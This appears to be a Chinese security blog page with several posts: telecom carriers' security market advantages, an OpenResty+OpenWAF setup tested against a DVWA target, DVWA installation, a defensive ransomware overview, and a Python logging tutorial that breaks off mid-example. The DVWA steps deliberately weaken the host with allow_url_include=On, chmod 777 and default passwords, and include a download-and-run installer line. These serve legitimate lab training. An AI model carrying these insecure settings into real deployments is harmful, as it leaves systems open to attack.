近年来,中美贸易摩擦加剧,国际争端凸显,国家高度重视网络安全的建设,网络安全已上升及国家战略层面,网络空间作为“第五疆域”受到极大重视。个人与企业对于网络安全的需求不断增加,中国网络安全市场也随之发展。

政策支持,网络安全需求不断增加

近年来,网络安全被提升到国家战略高度,正在加快推进网络安全技术自主创新,朝着建设网络强国目标不懈努力。2014年以来先后设立中国安全委员会、中央网络安全和信息化委员会,发布了《国家安全法》、《中华人民共和国网络安全法》、《国家网络空间安全战略》、《网络空间国际合作战略》、《中华人民共和国数据安全法》等多项鼓励行业发展的法规和政策。这些法规政策规范了网络信息安全行业,为网络安全行业发展营造了良好的环境。

信息化水平、云计算、大数据、5G、物联网水平提升,网络安全对产业及业态提出新要求

近年来,中国信息化水平不断攀升:云计算的进步带动计算能力和数据的集中;大数据的出现带来数据收集、处理、分析业态的革新;5G网络加速了网络数据处理速度;随着“云+5G”的共同催化,联网设备将呈现指数级增长,中国网络安全行业未来将布局更多的应用领域。
同时,以上科技进步也引发了新的网络安全问题,对网络安全行业提出新要求,数据的产生流通和应用更加普遍化和密集化,使网络安全的防范更加复杂,对网络安全提出更高的挑战。
2019年9月27日工信部公开征求对《关于促进网络安全产业发展的指导意见(征求意见稿)》的意见,征求意见稿中提出,到2025年,培育形成一批年营收超过20亿的网络安全企业,形成若干具有国际竞争力的网络安全骨干企业,网络安全产业规模超过2000亿。

在此背景下大型国有企业尤其是电信运营商纷纷布局网络安全。如中国移动收购启明星辰、中国电信组建专门的网络与信息安全研究院成立成立天翼安全科技有限公司、联通成立一家专注于网络安全服务的新公司计划将信息安全业务打造成创新业务发展的主要增长点。

优势分析

那么运营商在安全领域发展都会有哪些优势呢?

一、网络优势

电信运营商,作为国家网络基础设施的建设者和运营者,具备强大的网络优势。在工信部《关于促进网络安全产业发展的指导意见(征求意见稿)》明确提出鼓励基础电信企业和云服务提供商发挥网络资源优势,面向客户提供网络安全监测预警、攻击防护、应急保障等增值服务。

二、数据优势

运营商有大网的数据优势,如:DDOS异常流量监测数据、IDC/ISP数据、僵木蠕恶意程序数据、互联网暴露资产数据等,通过整合电信运营商大网数据能力,汇聚各类安全数据资源,结合大网威胁情报信息,能够更好的赋能安全产品。

三、产品优势

运营商自身自研建设了大量的安全基础能力。以电信为例,近年来积极打造了一系列硬核自主研发的安全产品如云堤抗DDoS、互联网测绘平台、安全态势感知平台、安全运营中心、安全资源池等保租手等等,安全产品均已通过运营商级的大网实战验证。生态开放,具备端到端的产品集成、产品研发和定制能力,提供一体化、全方位、一站式的综合解决方案。相对于传统的安全产商,传统安全设备产商的某些个别的产品可能有优势,但产品可能只适配自家的产品,对其他厂商比较封闭,端到端的产品集成和定制化能力相对较弱。

四、运营优势

成功的安全在于运营,运营商自身作为典型的关基行业企业,面对工信部、通管局、公安、网信办等多个监管部门的监管和考核,自身积累了丰富的安全运营经验和实战化的重保经验,并且将自身的安全运营经验、重保经验赋能至安全产品。可面向行业监管单位和关基等客户量身打造基于实战化、可视化、专业级的安全运营产品集。而传统安全产商,一般只提供标准产品,安全运营经验赋能产品相对不足。

五、服务优势

电信运营商具备强大的信息化和安全的一体两翼的能力,比传统安全公司更懂信息化和网络,建立了从信息系统和网络的规划与设计、再到实施建设、生产运行维护,涉及整个业务系统安全稳定运行的安全服务体系。

电信运营商具备覆盖全国的省-市-县的本地化专业的安全服务团队,专业安全服务团队能对客户形成一对一的贴身服务。


博客:http://xiejava.ishareread.com/


“fullbug”微信公众号

关注:微信公众号,一起学习成长!

OpenResty+OpenWAF的WEB防护实战

发表于 2023-04-07 | 更新于: 2025-04-08 | 分类于 技术 , 网络安全 | | 阅读次数:
字数统计: 1.3k | 阅读时长 ≈ 6

OpenResty是一个基于 Nginx 与 Lua 的高性能 Web 平台,其内部集成了大量精良的 Lua 库、第三方模块以及大多数的依赖项。用于方便地搭建能够处理超高并发、扩展性极高的动态 Web 应用、Web 服务和动态网关。本文介绍通过OpenResty+OpenWAF来搭建软WAF的应用,用来防护DVWA的靶机,然后我们通过攻击DVWA的靶机来看一下OpenWAF的防护效果。

一、OpenResty+OpenWAF安装

1、安装依赖

1
yum install gcc gcc-c++ wget GeoIP-devel git swig make perl perl-ExtUtils-Embed readline-devel zlib-devel -y

安装libcidr

1
2
3
4
5
cd /opt
wget http://www.over-yonder.net/~fullermd/projects/libcidr/libcidr-1.2.3.tar.xz
tar -xvf libcidr-1.2.3.tar.xz
cd /opt/libcidr-1.2.3
make && make install

升级openssl版本

1
2
3
4
5
6
cd /opt
wget -c http://www.openssl.org/source/openssl-1.1.1d.tar.gz --no-check-certificat
tar -zxvf openssl-1.1.1d.tar.gz
cd openssl-1.1.1d/
./config
make && make install

下载pcre-jit
并解压pcre-jit,后面安装OpenResty的时候引入并安装

1
2
wget https://udomain.dl.sourceforge.net/project/pcre/pcre/8.45/pcre-8.45.tar.gz --no-check-certificate
tar -zxvf pcre-8.45.tar.gz

2、安装OpenWAF

1
2
3
4
5
6
7
8
9
cd /opt
git clone https://github.com/titansec/OpenWAF.git
mv /opt/OpenWAF/lib/openresty/ngx_openwaf.conf /etc
mv /opt/OpenWAF/lib/openresty/configure /opt/openresty-1.19.3.1
cp -RP /opt/OpenWAF/lib/openresty/* /opt/openresty-1.19.9.1/bundle/
cd /opt/OpenWAF/
make clean
make install
ln -s /usr/local/lib/libcidr.so /opt/OpenWAF/lib/resty/libcidr.so

3、安装OpenResty

OpenResty官网的下载地址 https://openresty.org/en/download.html
目前最新版本是1.21.4.1

1
2
3
4
5
6
cd /opt
wget https://openresty.org/download/openresty-1.21.4.1.tar.gz
tar -zxvf openresty-1.21.4.1.tar.gz
cd /opt/openresty-1.21.4.1/
./configure --with-pcre-jit --with-ipv6 --with-http_stub_status_module --with-http_ssl_module --with-http_realip_module --with-http_sub_module --with-http_geoip_module --with-openssl=/opt/openssl-1.1.1d --with-pcre=/opt/pcre-8.45
gmake && gmake install

设置nginx开机自启动服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
vim /lib/systemd/system/nginx.service
[Unit]
Description=nginx
After=network.target

[Service]
Type=forking
ExecStart=/usr/local/openresty/nginx/sbin/nginx
ExecReload=/usr/local/openresty/nginx/sbin/nginx -s reload
ExecStop=/usr/local/openresty/nginx/sbin/nginx -s quit
PrivateTmp=true

[Install]
WantedBy=multi-user.target
1
2
3
4
5
6
7
8
9
10
# 设置开机启动
systemctl enable nginx
# 查看服务当前状态
systemctl status nginx
# 启动nginx服务
systemctl start nginx
# 停止nginx服务
systemctl stop nginx
# 重启nginx服务
systemctl restart nginx

当我们启动nginx的时候发现启动失败了,原因是因为原来安装了apache端口是80,nginx的端口也是80,端口冲突了。解决方案要不是改nginx端口,要不就是改apache的端口。这里将apache的端口改成8080。

1
2
[root@localhost OpenWAF]# systemctl start nginx
Job for nginx.service failed because the control process exited with error code. See "systemctl status nginx.service" and "journalctl -xe" for details.

查看nginx启动状态

1
2
3
4
5
6
7
8
9
10
11
[root@localhost OpenWAF]# systemctl status nginx
● nginx.service - nginx
Loaded: loaded (/usr/lib/systemd/system/nginx.service; enabled; vendor preset: disabled)
Active: failed (Result: exit-code) since Tue 2023-04-04 04:00:44 PDT; 19s ago
Process: 42096 ExecStart=/usr/local/openresty/nginx/sbin/nginx (code=exited, status=1/FAILURE)
Apr 04 04:00:42 localhost.localdomain nginx[42096]: nginx: [emerg] bind() to 0.0.0.0:80 failed (98: Address already in use)
Apr 04 04:00:42 localhost.localdomain nginx[42096]: nginx: [emerg] bind() to 0.0.0.0:80 failed (98: Address already in use)
Apr 04 04:00:43 localhost.localdomain nginx[42096]: nginx: [emerg] bind() to 0.0.0.0:80 failed (98: Address already in use)
Apr 04 04:00:43 localhost.localdomain nginx[42096]: nginx: [emerg] bind() to 0.0.0.0:80 failed (98: Address already in use)
Apr 04 04:00:44 localhost.localdomain nginx[42096]: nginx: [emerg] bind() to 0.0.0.0:80 failed (98: Address already in use)
Apr 04 04:00:44 localhost.localdomain nginx[42096]: nginx: [emerg] still could not bind()

修改apache的端口

1
2
3
vim /etc/httpd/conf/httpd.conf
Listen 8080
systemctl restart httpd

修改apache端口的效果

将apache的端口改成8080后,再次启动nginx就可以看到OpenResty成功启动了。

1
systemctl start nginx

OpenResty成功启动了

二、配置OpenWAF的web防护

这边DVWA靶机的地址是http://192.168.1.24:8080/DVWA/ DVWA靶机的安装见另一篇博文《CentOS7+LAMP+DVWA靶机搭建》https://blog.csdn.net/fullbug/article/details/129879670
我们需要配置OpenResty+OpenWAF来对192.168.1.24:8080进行WEB防护
参考《轻松玩转OpenWAF之入门篇》及 《深入研究OpenWAF之nginx配置》

1、nginx配置修改

在 nginx 的 http 级别添加如下两行:

1
2
include /opt/OpenWAF/conf/twaf_main.conf;
include /opt/OpenWAF/conf/twaf_api.conf;

要防护的 server 或 location 级别添加如下一行:

1
include /opt/OpenWAF/conf/twaf_server.conf;

OpenResty的nginx的配置文件在 /usr/local/openresty/nginx/conf/nginx.conf

具体配置参考下图:
nginx.conf相关配置

2、OpenWAF接入规则修改

修改/opt/OpenWAF/conf/twaf_access_rule.json文件
具体配置参考下图:
twaf_access_rule.json文件的配置

3、测试验证

这时候我们访问http://192.168.1.24/DVWA/ ,注意是没有带8080端口的,因为是通过OpenResty+OpenWAF来反向代理了127.0.0.1的8080端口,访问http://192.168.1.24/DVWA/ 是经过了OpenWAF防护的。
这时候我们开始通过SQL注入对DVWA的靶机进行SQL注入的攻击。
SQL注意

防护效果:
可以看到OpenWAF提示标识为攻击并记录,提示是有次SQL注入的攻击,并进行了防护。
SQL注入防护效果

接下来我们进行一次XSS的攻击
在这里插入图片描述

同样OpenWAF给出了XSS的攻击提示,并进行了防护。
XSS的防护效果

至此,本文介绍了OpenResty+OpenWAF的安装,并通过配置对DVWA的靶机进行了WEB防护,通过SQL注入及XSS的攻击,验证了OpenWAF的效果。OpenResty+OpenWAF是开源的软WAF解决方案,安装和配置相对简单,对于中小企业的web防护来说不失为一个低成本的解决方案。


作者博客:http://xiejava.ishareread.com/


“fullbug”微信公众号

关注:微信公众号,一起学习成长!

CentOS7+LAMP+DVWA靶机搭建

发表于 2023-03-31 | 更新于: 2025-04-08 | 分类于 技术 , 网络安全 | | 阅读次数:
字数统计: 772 | 阅读时长 ≈ 3

一、什么是DVWA

Damn Vulnerable Web Application (DVWA)(译注:可以直译为:”该死的”不安全Web应用程序),是一个编码差的、易受攻击的 PHP/MySQL Web应用程序。 它的主要目的是帮助信息安全专业人员在合法的环境中,练习技能和测试工具,帮助 Web 开发人员更好地了解如何加强 Web 应用程序的安全性,并帮助学生和教师在可控的教学环境中了解和学习 Web 安全技术。
DVWA的中文介绍见 https://github.com/digininja/DVWA/blob/master/README.zh.md
下载地址:git clone https://github.com/digininja/DVWA.git

二、环境准备

1、LAMP环境安装

DVWA的安装依赖的软件包如下:

  • apache2
  • libapache2-mod-php
  • mariadb-server
  • mariadb-client php
  • php-mysqli php-gd

就是依赖于LAMP环境,可以参考官方文档一个依赖包手工安装也可以通过下载lamp统一安装脚本一键安装。
安装 - LAMP一键安装包
运行 wget -c http://soft.vpser.net/lnmp/lnmp1.6.tar.gz && tar zxf lnmp1.6.tar.gz && cd lnmp1.6 && ./install.sh lamp 一路回车选择默认项,稍等片刻,即可完成安装
如果是手工安装:yum install -y httpd php php-mysql php-gd mariadb-server mariadb

三、安装DVWA

1、下载DVWA的软件包

进入到默认的web发布目录

1
2
cd /var/www/html
git clone https://github.com/digininja/DVWA.git

直接通过地址访问DVWA
访问DVWA
他会提示需要将config/config.inc.php.dist复制成config/config.inc.php并配置环境

1
cp config.inc.php.dist config.inc.php

2、配置数据库

1
vim config.ini.php

找到数据库的配置信息

1
2
3
4
5
6
$_DVWA = array();
$_DVWA[ 'db_server' ] = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvwa';
$_DVWA[ 'db_user' ] = 'dvwa';
$_DVWA[ 'db_password' ] = 'p@ssw0rd';
$_DVWA[ 'db_port'] = '3306';

根据config.inc.php的数据库配置信息配置数据库,注意不要用root来访问数据库。
先用客户端工具创建dvwa的数据库,再创建dvwa的用户

1
2
grant all on dvwa.* to 'dvwa'@'localhost' identified by 'p@ssw0rd' with grant option;
flush privileges;

登录数据库查看

1
2
mysql -u dvwa -p
show databases;

show databases

3、修改php.ini的配置

再次访问DVWA
在这里插入图片描述

这里提示要修改php.ini的配置将 allow_url_fopen=On 和allow_url_include=On。

找到环境的php.ini我这里是在/etc/php.ini进行修改,不要修改/var/www/html/DVWA/php.ini中的配置了。
配置好后重启apache

1
systemctl restart httpd

刷新浏览器,可以看到红色的Disabled告警消失了。
红色告警消失了

reCAPTCHA key: Missing 这个告警是因为reCAPTCHA没有配置,这个需要去谷歌的网站申请公钥和私钥。可以不用管

1
2
3
4
5
# ReCAPTCHA settings
# Used for the 'Insecure CAPTCHA' module
# You'll need to generate your own keys at: https://www.google.com/recaptcha/admin
$_DVWA[ 'recaptcha_public_key' ] = '';
$_DVWA[ 'recaptcha_private_key' ] = '';
1
2
chmod 777 -R hackable
chmod 777 -R config

在这里插入图片描述

4、创建数据

配置完后点击“Create/Reset Database”

成功创建数据库

5、登录靶机

在这里插入图片描述
DVWA的默认用户名和密码是admin /password
登录成功后就可以开始进行靶机的实验了。
在这里插入图片描述
后续我们将通过Open-WAF来搭建一个WAF来防护这个靶机感受一下软waf的防护情况。


作者博客:http://xiejava.ishareread.com/


“fullbug”微信公众号

关注:微信公众号,一起学习成长!

网络安全之认识勒索病毒

发表于 2023-03-23 | 更新于: 2025-04-08 | 分类于 技术 , 网络安全 | | 阅读次数:
字数统计: 4.3k | 阅读时长 ≈ 15

勒索病毒

一、什么是勒索病毒

勒索病毒,是一种新型电脑病毒,伴随数字货币兴起,主要以邮件、程序木马、网页挂马、服务器入侵、捆绑软件等多种形式进行传播,一旦感染将给用户带来无法估量的损失。如果遭受勒索病毒攻击,将会使绝大多数文件被加密算法加密,并添加一个特殊的后缀,用户无法读取原文件内容,被感染者一般无法解密,必须拿到解密的私钥才有可能无损还原被加密文件。而拿到解密的私钥,通常需要向攻击者支付高昂的赎金,这些赎金必须是通过数字货币支付,一般无法溯源,因此极易造成严重损失。

一般被勒索病毒感染后,将导致重要文件无法读取、关键数据被损坏、计算机被锁死无法正常使用等情况;为了指引被感染者缴纳赎金,勒索病毒还会在桌面等明显位置生成勒索提示文件,被感染者需要通过缴纳高额赎金才能获取解密密钥恢复计算机系统和数据文件的正常使用,多数情况即使缴纳了高额的赎金也未必能正常恢复数据。因此,勒索病毒具有数据恢复代价大和数据恢复可能性极低的特点。

二、勒索病毒传播路径

常见勒索病毒传播途径包括:

  1. 网站挂马。用户浏览挂有木马病毒的网站,上网终端计算机系统极可能被植入木马并感染上勒索病毒。
  2. 邮件传播。邮件传播是目前互联网上常见的病毒传播方式。攻击者通过利用当前热门字样,在互联网上撒网式发送垃圾邮件、钓鱼邮件,一旦收件人点开带有勒索病毒的链接或附件,勒索病毒就会在计算机后台静默运行,实施勒索。
  3. 漏洞传播。通过计算机操作系统和应用软件的漏洞攻击并植入病毒是近年来流行的病毒传播方式。最典型的案例是2017年在国内泛滥的WannaCry大规模勒索事件,攻击者正是利用微软445端口协议漏洞,进行感染传播网内计算机。
  4. 捆绑传播。攻击者将勒索病毒与其他软件尤其是盗版软件、非法破解软件、激活工具进行捆绑,从而诱导用户点击下载安装,并随着宿主文件的捆绑安装进而感染用户的计算机系统。
  5. 介质传播。攻击者通过提前植入或通过交叉使用感染等方式将携有勒索病毒的U盘、光盘等介质进行勒索病毒的移动式传播。此种传播途径往往发生在文印店、公共办公区域等高频交叉使用可移动存储介质的场所,也可能通过广告活动派发、街区丢弃等方式实现诱导用户使用携带勒索病毒的U盘、光盘。携带勒索病毒的光盘、U盘一旦接入计算机,勒索病毒即可能随着其自动运行或用户点击运行导致计算机被感染。

三、勒索病毒防护难点

教育、企业、制造业、医疗、政府等行业由于数据重要性和较好的经济能力,已经成为勒索团队的重点攻击目标。以下是勒索病毒常见的攻击行为。
勒索病毒攻击行为

从勒索病毒的攻击行为来看,勒索病毒的防护存以下几个主要难点:

  • 勒索病毒变种多样 :对程序 / 脚本的加壳、混淆操作,已经有一套相当成熟的自动化流程,能够快速对病毒进行变种,从而绕过传统静态防护。
  • 边界突破手段多样:包括但不限于 RDP 爆破、SMB 爆破、漏洞利用、钓鱼邮件等等,其中爆破手段是最常使用的入侵手法。
  • 防御规避手段多样:如无文件攻击、白进程利用、卸载安全服务等,从运营数据看 ,
  • 采用黑客工具直接卸载终端安全服务、利用白进程进行加密的绕过手段是最为常见。
  • 勒索病毒识别精准度不足:部分终端防护可以识别出“病毒”,但不能进一步识别出“勒索病毒”,未引起足够重视,导致后续攻击成功。

四、常见的勒索病毒

1、GlobeImposter 勒索病毒

Globelmposter3.0家族的变种采用RSA+AES算法加密,目前该勒索病毒加密的文件暂无解密工具,文件被加密后会被加上Ox4444、China4444、Help4444、Rat4444 、Tiger4444 、Rabbit4444、Dragon4444 、Snake4444 、Horse4444、Goat4444 、Monkey4444、Rooster4444、Dog4444等后缀。在被加密的目录下会生成一个名为”HOW_TO_BACK_FILES”的txt文件,显示受害者的个人ID序列号以及黑客的联系方式等。

GlobeImposter病毒本身不具备传播性。主要通过垃圾邮件和RDP暴破植入传播。

2、GandCrab 勒索病毒

GandCrab勒索病毒于2018年1月面世以来,短短一年内历经多次版本更新,目前最新的版本为V5。该病毒利用多种方式对企业网络进行攻击传播,受感染主机上的数据库、文档、图片、压缩包等文件将被加密,若没有相应数据或文件的备份,将会影响业务的正常运行。从2018年9月份V5版本面世以来,GandCrab出现了包括了5.0、5.0.2、5.0.3、5.0.4以及最新的5.0.5多个版本的变种。病毒采用Salsa20和RSA-2048算法对文件进行加密,并修改文件后缀为.GDCB、.GRAB、.KRAB或5-10位随机字母,勒索信息文件为GDCB-DECRYPT.txt、KRAB-DECRYPT.txt、[5-10随机字母]-DECRYPT.html\txt,并将感染主机桌面背景替换为勒索信息图片。

GandCrab病毒家族主要通过RDP暴力破解、钓鱼邮件、捆绑恶意软件、僵尸网络以及漏洞利用传播。病毒本身不具有蠕虫传播能力,但会通过枚举方式对网络共享资源进行加密,同时攻击者往往还会通过内网人工渗透方式,利用口令提取、端口扫描、口令爆破等手段对其他主机进行攻击并植入该病毒。主要影响Windows 系统

3、Satan 变种病毒

撒旦(Satan)勒索病毒最开始可以追溯到2017年1月,当时病毒作者提供一个门户网站(RaaS,勒索软件即服务)允许任何人注册和创建撒旦勒索软件的自定义版本。
2017年11月左右,撒旦开发者开始更新勒索软件的计划,以更好地适应这些趋势。他们采取的第一步是在Satan程序中加入EternalBlue SMB漏洞的攻击和扫描模块。添加此漏洞意味着在撒旦感染计算机后,勒索软件将使用EternalBlue扫描本地网络,查找具有过时SMB服务的计算机并感染它们,从而最大限度地提高攻击效果。
2018年5月底出现了撒旦(Satan)勒索病毒的最新的变种,它不仅仅利用了永恒之蓝漏洞,还利用了多个WEB相关的漏洞进行传播。
2018年10月底MalwareHunterTeam发现了一款新型的Satan勒索病毒——DBGer勒索病毒。其属于撒旦(Satan)勒索病毒的最新的变种样本,不仅仅利用了之前的一些安全漏洞,同时还加上了Mimikatz的功能。其加密后的文件后缀名变为了.dbger。
2018年11月初,发现部分金融客户出现linux和windows跨平台的远控病毒样本,其样本行为与本次捕获样本极其相似。
2018年11月底,国内金融厂商开始出现Satan的最新变种,可以在Linux和Windows平台同时进行传播。将本地文件进行勒索加密,将加密后的文件名修改为.lucky。同时在Linux和Windows平台进行蠕虫式传播。

Satan病毒家族通过下面8种通用漏洞进行传播。目前发现Satan在linux平台会进行内部IP遍历+端口列表的方式进行漏洞扫描。在windows平台会以IP列表+端口列表的方式进行漏洞扫描。
JBoss反序列化漏洞(CVE-2013-4810)
JBoss默认配置漏洞(CVE-2010-0738)
Tomcat任意文件上传漏洞(CVE-2017-12615)
Tomcat web管理后台弱口令爆破
Weblogic WLS 组件漏洞(CVE-2017-10271)
Windows SMB远程代码执行漏洞MS17-010
Apache Struts2远程代码执行漏洞S2-045
Apache Struts2远程代码执行漏洞S2-057

4、Sodinoki 勒索病毒

业内发现邮件附件中的恶意样本,经分析,样本为2019年6月新出的sodinokibi勒索病毒。该病毒以钓鱼邮件来传播,邮件附件中包含伪装成word文档的可执行文件,诱导员工打开附件,加密主机文件。
Sodinokibi勒索病毒暂无解密工具,可先将被加密的重要文件、勒索信息文件备份保存,以待将来有解密工具时解密。

五、勒索病毒发展趋势

随着勒索技术的发展,勒索病毒呈现加密速度更快,跨平台发展的趋势。

  • 加密方式更多的转向“间歇性加密”,加密速度更快

2021 年中旬,LockFile 勒索软件是首批使用间歇性加密来逃避检测机制的主要勒索软件系列之一,该勒索软件每隔 16 个字节对文件进行加密。此后,越来越多的勒索软件操作加入了这一趋势。如 BlackCat(ALPHV)、PLAY、Qyick、Agenda、Black Basta 等。间歇性加密指对受害者文件进行部分加密,这种加密方法不仅可以大大提高加密速度也可以帮助勒索软件运营商逃避基于统计分析的勒索软件检测技术。

  • 编程语言更多的转向Rust,实现跨平台勒索

近年,越来越多的勒索软件编程语言转向 Rust 语言。该语言不仅具有与 C/C++ 类似的性能开发优势,而且具有更好的内存管理实现并发编程以避免内存错误,此外在静态分析工具低检出率方面也存在优势。BlackCat是第一个使用Rust的专业/商业化分布式恶意软件家族,也是迄今为止最繁荣的。
Rust 是一种跨平台语言,使威胁行为者能够轻松地为 Windows 和 Linux 等不同操作系统创建定制的恶意软件。现在有不少于 10 个勒索软件家族推出了针对 Linux 系统的版本,其中包括 REvil 的 Linux 版本、DarkSide、Dark Angels 、BlackMatter 以及 Defray777 等家族。勒索团伙倾向于以企业为目标,随着越来越多的组织将业务迁移到 VM 以简化设备管理和提高资源利用效率,将攻击目标转向 Linux 平台具有良好的商业意义,因为这样做可以让他们以最小的努力加密多个服务器。

六、勒索病毒防护建议:

  1. 定期做好重要数据、文件的备份工作;
  2. 及时更新升级操作系统和应用软件,修复存在的中高危漏洞;
  3. 安装正版杀毒软件并及时升级病毒库,定期进行全面病毒扫描查杀;
  4. 在系统中禁用U盘、移动硬盘、光盘的自动运行功能,不要使用/打开来路不明的U盘、光盘、电子邮件、网址链接、文件;
  5. 避免使用弱口令,为每台服务器和终端设置不同口令,且采用大小写字母、数字、特殊字符混合的高复杂度组合结构,口令位数应8位以上;
  6. 不要在网上下载安装盗版软件、非法破解软件以及激活工具。

七、勒索病毒应急处置流程

1、 检测阶段

如何发现勒索病毒,可通过如下两个场景进行识别:

  • 场景一:感染但未加密
    从攻击者渗透进入内部网络的某一台主机到执行加密行为往往有一段时间,如果在这段时间能够做出响应,完全可以避免勒索事件的发生。如果有以下情况,可能是处于感染未加密状态:
  1. 监测设备告警
    如果使用了监测系统进行流量分析、威胁监测,系统产生大量告警日志,例如“SMB 远程溢出攻击”、“弱口令爆破”等,可能是病毒在尝试扩散。
  2. 资源占用异常
    病毒会伪装成系统程序,释放攻击包、扫描局域网络 445 端口等占用大量系统资源,当发现某个疑似系统进程的进程在长期占用 CPU 或内存,有可能是感染病毒。
  • 场景二:感染已加密
    如果有以下情况,可能是处于感染且已加密状态:
  1. 统一的异常后缀
    勒索病毒执行加密程序后会加密特定类型的文件,不同的勒索病毒会加密几十到几百种类型的文件,基本都会包括常见的文档、图片、数据库文件。当文件夹下文件变成如下统一异常不可用后缀,就是已经被加密了。
  2. 勒索信或桌面被篡改
    勒索病毒加密文件的最终目的是索要赎金,所以会在系统明显位置如桌面上留下文件提示,或将勒索图片更改为桌面。勒索信绝大多数为英文,引导被勒索的用户交赎金。

    2、抑制阶段

    发现勒索病毒后如何进行隔离:
  • 采取可行措施进行隔离,避免影响其它主机(如断网隔离)
  • 通过边界控制设备,防止网络区域间相互影响

防止勒索病毒扩散:

  • 采取及时的补救加固措施(安全加固)
  • 相关漏洞的扫描修补与跟踪
  • 配置核查

    3、处置阶段

    信息收集:
  • IT管理人员截图取证主机中的勒索信息文件
  • 截图取证被加密的时间和文件后缀名
  • 检查服务器开放端口情况、补丁更新情况,并截图取证
  • 检查服务器当日的安全日志,截图取证或导出当天日志

    4、 恢复阶段

    业务恢复:
  • 从备份中恢复损坏的数据
  • 调整可能影响业务正常运转的策略

文件解密:

  • 付费风险:部分中招主机可能包含关键信息,企业处于业务考虑可能会考虑通过比特币付款,但不能确认付款可以恢复数据,建议企业慎重考虑。
  • 解密工具:可查看安全厂商已发布部分勒索病毒的解密工具。

    5、安全加固

    通常应从如下方面进行加固:
  • 多数勒索软件会利用RDP(远程桌面协议)暴力破解传播,在不影响业务的前提下避免3389端口对外开放。利用IPS、防火墙等设备对3389端口进行防护
  • 开启windows自身的防火墙尽量关闭3389、445、139、135等不用的高危端口
  • 在计算机中配置账户锁定策略,连续登陆失败即锁定账户
  • 要求每台服务器设置唯一口令,且禁止设置弱口令(复杂度要求采用大小写字母、数字、特殊符号混合)
  • 对员工进行安全意识培训,避免打开陌生邮件的附件、下载破解版软件和运行来源不明的程序
  • 定时对重要数据进行异地备份,防止数据破坏和丢失
  • 及时更新系统及应用版本,及时打漏洞补丁
  • 及时安装防病毒软件,并更新到最新的病毒库和引擎
  • 定时通过扫描器做专项口令排查,可排查通用口令和弱口令

部分公开的勒索相关解密工具

公开的勒索病毒相关解密工具(Free Ransomware Decryption Tools),可供应急查询使用:
1、kaspersky
Free Ransomware Decryptors - Kaspersky Lab https://noransom.kaspersky.com/
2、avast
Free Ransomware Decryption Tools | Unlock Your Files | Avast
https://www.avast.com/ransomware-decryption-tools
3、avg
Free Ransomware Decryption Tools | Unlock Your Files | AVG
https://www.avg.com/en-us/ransomware-decryption-tools
4、No More Ransom
The No More Ransom Project
https://www.nomoreransom.org/en/decryption-tools.html
5、Bitdefender
Free Tools – Bitdefender Labs
https://labs.bitdefender.com/category/free-tools/
6、MalwareHunter
ID Ransomware
https://id-ransomware.malwarehunterteam.com/index.php
7、McAfee
McAfee Ransomware Recover (Mr2) | McAfee Free Tools
https://www.mcafee.com/enterprise/en-us/downloads/free-tools/ransomware-decryption.html
8、 Trend Micro
Using the Trend Micro Ransomware File Decryptor Tool
https://success.trendmicro.com/portal_kb_articledetail?solutionid=1114221


博客文章:http://xiejava.ishareread.com/


“fullbug”微信公众号

关注:微信公众号,一起学习成长!

Python日志logging实战教程

发表于 2023-03-19 | 更新于: 2025-04-08 | 分类于 技术 , 开发 | | 阅读次数:
字数统计: 4.5k | 阅读时长 ≈ 17

一、什么是日志

在《网络安全之认识日志采集分析审计系统》中我们认识了日志。日志数据的核心就是日志消息或日志,日志消息是计算机系统、设备、软件等在某种刺激下反应生成的东西。

日志数据(log data)就是一条日志消息的内在含义,用来告诉你为什么生成日志消息的信息。日志(log)指用于展示某些事件全貌的日志消息的集合。

二、为什么要写日志

日志是对软件执行时所发生事件的一种追踪方式。软件开发人员对他们的代码添加日志调用,借此来指示某事件的发生。一个事件通过一些包含变量数据的描述信息来描述。对于软件系统来说,健全的日志记录是程序调试、故障定位、事件追溯的有效手段。

日志通用的几种类型:

  • 信息(Info):告诉用户和管理员发生了一些没有风险的事情。
  • 调试(Debug):在应用程序代码运行时生成调试信息,给软件开发人员提供故障检测和定位问题的帮助。
  • 警告(Warning):缺少需要的文件、参数、数据,但又不影响系统运行时生成警告。
  • 错误(Error):传达在计算机系统重出现的各种级别的错误。许多错误消息只能给出为什么出错的起点,要寻找出导致错误发生的根本原因还需要进一步的调查。

三、Python日志logging模块实战

在进行Python程序开发时,Python提供了logging模块,能够很好的帮助开发人员很方便的的记录日志信息。

对于简单的日志使用来说日志功能提供了一系列便利的函数。它们是 debug(),info(),warning(),error() 和 critical()。想要决定何时使用日志,请看下表,其中显示了对于每个通用任务集合来说最好的工具。

你想要执行的任务 此任务的最好的工具
对于命令行或程序的应用,结果显示在控制台。 print()
在对程序的普通操作发生时提交事件报告(比如:状态监控和错误调查) logging.info() 函数(当有诊断目的需要详细输出信息时使用 logging.debug() 函数)
提出一个警告信息基于一个特殊的运行时事件 warnings.warn() 位于代码库中,该事件是可以避免的,需要修改客户端应用以消除告警logging.warning() 不需要修改客户端应用,但是该事件还是需要引起关注
对一个特殊的运行时事件报告错误 引发异常
报告错误而不引发异常(如在长时间运行中的服务端进程的错误处理) logging.error(), logging.exception() 或 logging.critical() 分别适用于特定的错误及应用领域

日志功能应以所追踪事件级别或严重性而定。各级别适用性如下(以严重性递增):

级别 何时使用
DEBUG 细节信息,仅当诊断问题时适用。
INFO 确认程序按预期运行。
WARNING 表明有已经或即将发生的意外(例如:磁盘空间不足)。程序仍按预期进行。
ERROR 由于严重的问题,程序的某些功能已经不能正常执行
CRITICAL 严重的错误,表明程序已不能继续执行

默认的级别是 WARNING,意味着只会追踪该级别及以上的事件,除非更改日志配置。

所追踪事件可以以不同形式处理。最简单的方式是输出到控制台。另一种常用的方式是写入磁盘文件。

Python的logging库采用模块化方法,并提供了几类组件:记录器,处理程序,过滤器和格式化程序。

  • 记录器(Logger):提供应用程序代码直接使用的接口。
  • 处理器(Handler):将日志记录(由记录器创建)发送到适当的目的地。
  • 筛选器(Filter):提供了更细粒度的功能,用于确定要输出的日志记录。
  • 格式器(Formatter):程序在最终输出日志记录的内容格式。

logging的工作流程:以记录器Logger为对象,设置合适的处理器Handler,辅助以筛选器Filter、格式器Formatter,设置日志级别以及常用的方法,最终输出理想的日志记录给到指定目标
一个Logger可以包含多个Handler;
每个Handler可以设置自己的Filter和Formatter;
记录器和处理器中的日志事件信息流程如下图所示:
日志事件信息流程

接下来我们通过几个简单的应用场景来进行日志记录实战

1、最简单的日志记录

main.py

1
2
3
4
5
6
7
8
9
10
11
12
import logging

def print_hi(name):
logging.debug('this is print_hi debug')
logging.info('this is print_hi info')
